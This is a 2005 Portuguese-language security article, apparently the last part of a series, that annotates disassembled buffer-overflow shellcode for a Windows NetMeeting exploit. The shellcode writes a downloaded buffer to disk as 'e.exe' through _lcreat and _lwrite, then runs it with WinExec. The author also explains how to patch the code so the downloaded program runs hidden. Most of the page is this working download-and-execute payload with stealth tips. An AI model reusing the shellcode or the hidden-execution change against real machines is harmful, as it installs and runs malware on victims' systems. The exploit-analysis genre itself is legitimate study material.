Segurança
Buffer overflow no Windows
| 
			 Sab 5 Nov 2005 23:55  | 
	
- Detalhes
 - Categoria: Windows, o queijo suíço
 - Atualização: Terça, 14 Abril 2009 20:29
 - Autor: vovó Vicki
 - Acessos: 9094
 
     000001F7: 90                           nop
     000001F8: 90                           nop
     000001F9: 90                           nop
     000001FA: 33D2                         xor    edx,edx
     000001FC: 52                           push   edx
     000001FD: 8BD7                         mov    edx,edi
     000001FF: 83EA30                       sub    edx,030  ;"0"
     00000202: 42                           inc    edx
     00000203: 90                           nop
     00000204: 90                           nop
     00000205: 52                           push   edx
     00000206: FF57D8                       call   d,[edi][-0028]
Isto chama a _lcreate (em [EDI-0x28]) para criar um arquivo para o qual poderemos transferir o conteúdo do buffer de memória. Está na hora de dar um lar para os nossos dados! O nome do arquivo é escolhido levando em consideração os últimos 5 caracteres da URL. Neste caso, é "e.exe". Este arquivo será criado no local de onde o exploit foi disparado (geralmente o diretório onde está o 'SpeedDial' do NetMeeting).
     00000209: FF37                         push   d,[edi]
     0000020B: 56                           push   esi
     0000020C: 50                           push   eax
     0000020D: 8BD8                         mov    ebx,eax
     0000020F: FF57DC                       call   d,[edi][-0024]
Neste ponto será feita a escrita para o disco com a chamada para _lwrite (em [EDI-0x24]). O parâmetro com o número de bytes que devem ser escritos está em [EDI]. Portanto, faz-se um PUSH da localização do buffer e do manipulador do arquivo retornado pela _lcreat. Mas, antes de chamar a função, é preciso salvar o manipulador em EBX, o qual não é modificado por _lwrite.
     00000212: 53                           push   ebx
     00000213: FF57E0                       call   d,[edi][-0020]
Finalmente, fechamos o manipulador do arquivo para sacramentar o delito. Agora, tudo o que resta fazer é executar o arquivo baixado e encerrar este processo. Não é preciso se preocupar em limpar a memória ou qualquer coisa do gênero. Seria mais elegante mas, neste caso, não existe nada de elegante 
 
     00000216: 90                           nop
     00000217: 90                           nop
     00000218: 90                           nop
     00000219: 33D2                         xor    edx,edx
     0000021B: 42                           inc    edx
     0000021C: 52                           push   edx
     0000021D: 8BD7                         mov    edx,edi
     0000021F: 83EA30                       sub    edx,030  ;"0"
     00000222: 42                           inc    edx
     00000223: 90                           nop
     00000224: 90                           nop
     00000225: 52                           push   edx
     00000226: FF57E4                       call   d,[edi][-001C]
Pois bem, agora basta mandar um aviso para o WinExec rodar o executável! Observe que o primeiro 'inc edx' serve para selecionar o modo "Show Window" do executável. Se você quiser que o executável rode no mocó (escondido), então elimine este linha com um NOP. Neste caso, ao invés de SW_SHOWNORMAL, o modo SW_HIDE é que será ativado. Este é o segundo parâmetro do WinExec; o primeiro é o nome do arquivo.
     00000229: 90                           nop
     0000022A: 90                           nop
     0000022B: 90                           nop
     0000022C: FF57E8                       call   d,[edi][-0018]
Missão cumprida! O ExitProcess vai limpar a bagunça que foi feita. É isso aí.
Fontes
- cDc - Cult of the Dead Cow, The Tao of Windows Buffer Overflow
 - Linux Journal, Buffer Overflow Attacks and Their Countermeasures
 - Phrack 49, Smashing The Stack For Fun And Profit
 
- << Anterior
 - Próximo
 
				
 
